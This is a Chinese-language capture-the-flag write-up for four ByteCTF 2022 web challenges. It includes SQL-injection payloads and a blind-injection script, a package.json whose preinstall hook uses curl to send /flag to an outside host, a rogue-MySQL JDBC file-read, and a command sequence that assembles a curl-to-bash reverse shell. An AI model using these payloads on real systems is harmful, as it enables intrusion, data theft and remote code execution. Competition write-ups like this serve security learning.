ByteCTF
来自东北大咖(NEX、N3X)的web wp
easy_grafana
grafana的任意文件读,https://blog.riskivy.com/grafana-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E6%B1%87%E6%80%BBcve-2021-43798/
可以读数据库和配置文件,参考这个https://github.com/jas502n/Grafana-CVE-2021-43798
图片:
ctf_cloud
signup处存在insert注入,直接拼接的password,且无过滤
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
所以可以改admin的密码
{"username":"ad","password":"a',0),('admin','1',1),('ab','a"}
然后admin 1
登陆进去
有npm install
的功能,搜到了这篇:https://0xsapra.github.io/website//Exploiting-Dependency-Confusion
思路是,先通过文件上传,传一个package.json
,用来命令执行
POST /dashboard/upload HTTP/1.1
Host: e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10853925934784999111814589742
Content-Length: 509
Origin: https://e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun
Connection: close
Referer: https://e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun/
Cookie: connect.sid=s%3ALo6vTyBturVXwi7ghSVboJ62LNsYXSIo.kKkHfL%2FiNyt7iVKoPmiLzXLyZKMyBUMusYcMmPmoS9c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------10853925934784999111814589742
Content-Disposition: form-data; name="upload"; filename="package.json"
Content-Type: text/plain
{
"name": "pre-hook-check",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "curl ip:2333 -F 'file=@/flag'"
},
"author":"aaa",
"license":"ISC"
}
-----------------------------10853925934784999111814589742--
然后通过设置依赖,引入package.json
POST /dashboard/dependencies HTTP/1.1
Host: e327f6cd434a1020dbada91cd25ee393.2022.capturetheflag.fun
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: connect.sid=s%3ALo6vTyBturVXwi7ghSVboJ62LNsYXSIo.kKkHfL%2FiNyt7iVKoPmiLzXLyZKMyBUMusYcMmPmoS9c
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-None-Match: W/"38-qtdd4e7CV3Kvh5f/Dhy6Km1eIf8"
Content-Type: application/json
Content-Length: 58
{"dependencies":{"pre-hook-check":"file:public/uploads/"}}
然后vps监听,点击安装即可
图片:
datamanager
创建一个用户,进入dashboard可以发现有传参order=id。然后添加几条数据进去,猜测这个order是sql的order by。然后在order这里进行测试,发现rand(true)和rand(false)两个页面的排序不同,进行sql注入。fuzz发现很多标点符号用不了,而且还有括号次数限制,有些黑名单可以大写绕过。使用case when注入:
import requests
url = 'https://faa672097556ec52f576d25e5b920a0a.2022.capturetheflag.fun/dashboard'
cookies = {'JSESSIONID': '6254376F5C900BA3E1BC9478C2959925'}
def getPage(params):
res = requests.get(url=url, params=params, cookies=cookies)
text = res.text
ids = ''
while(str := text.find(id := '?id=')) != -1:
ids += text[str + len(id)]
text = text[str + len(id):]
if ids == '':
print(text)
return ids
truePage = getPage({'order': 'rand(true)'})
falsePage = getPage({'order': 'rand(false)'})
result = ''
for i in range(2, 1000):
for j in range(32, 128):
# print(chr(j))
if chr(j) == '%' or chr(j) == '_':
continue
params = {"order": "rand(case when SUBSTRING((select pas$word from users limit 1) from {} for 1) like {} then true else false end)".format(str(i), hex(j))}
resultPage = getPage(params)
# print(params)
if resultPage == truePage:
result += chr(j)
print(result)
break
#ctf
#ctf@BvteDaNceS3cRet
登录admin,发现在/connection有jdbc连接
url=jdbc%3Amysql%3A%2F%2F47.96.173.116%3A6666%2Fasd&username=asd&password=asd
根据题目描述,应该就是考jdbc连接的东西。用Mysql_Fake_Server进行任意文件读。发现python3.8报错。查看issue:https://github.com/fnmsd/MySQL_Fake_Server/issues/9
修改
File "/root/gitDownload/MySQL_Fake_Server/mysqlproto/protocol/handshake.py", line 72, in read
ret.character_set = CharacterSet(d[2])
报错里面的d[2]为33即可。读取不到/flag。然后找到文章https://www.freebuf.com/vuls/341270.html
可以加上参数
allowUrlInLocalInfile=true
file协议列目录。
=======File Conntent Preview End==========
Save to File:./fileOutput//180.184.86.151___1664026324____etc_passwd
Incoming Connection:('180.184.86.151', 18206)
Login Username:asd
<= 3
Start Reading File:file:///
reading file:file:///
========File Conntent Preview=========
app
bin
boot
dev
etc
home
init
lib
lib64
libexec
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
very_Str4nge_NamE_of_flag
修改config.json即可。最终payload读flag:
url=jdbc%3Amysql%3A%2F%2F47.96.173.116%3A6666%2Ftest?allowLoadLocalInfile=true%26allowUrlInLocalInfile=true&username=asd&password=asd
typing_game
访问/status发现无法rce,估计需要/report进行ssrf打rce。然后就是2017年的hitcon的原题了。直接拿脚本打。
import requests
import time
url = "https://aba7907fb46e223d7fb04cffa9ce36d2.2022.capturetheflag.fun/report?url=http://127.0.0.1:13002/status"
payload = [
"rm *",
">dir",
">sl",
">g\>",
">ht-",
"*>v",
">rev",
"*v>x", # ls -th>g
">sh",
">ba\\",
">\|\\",
">16\\",
">1\\",
">3.\\",
">17\\",
">6.\\",
">9\\",
">7.\\",
">4\\",
">\ \\",
">rl\\",
">cu\\",
"sh x",
"sh g"
]
# r = requests.get(url + "?reset=1")
for i in payload:
print(i)
r = requests.get(url + "?cmd=" + i)
print(r.text)
time.sleep(20)
由于不能ip伪造,只能每次硬等20s。成功反弹shell
找到flag在环境变量中
TQL师傅
我是被队里师傅带飞那个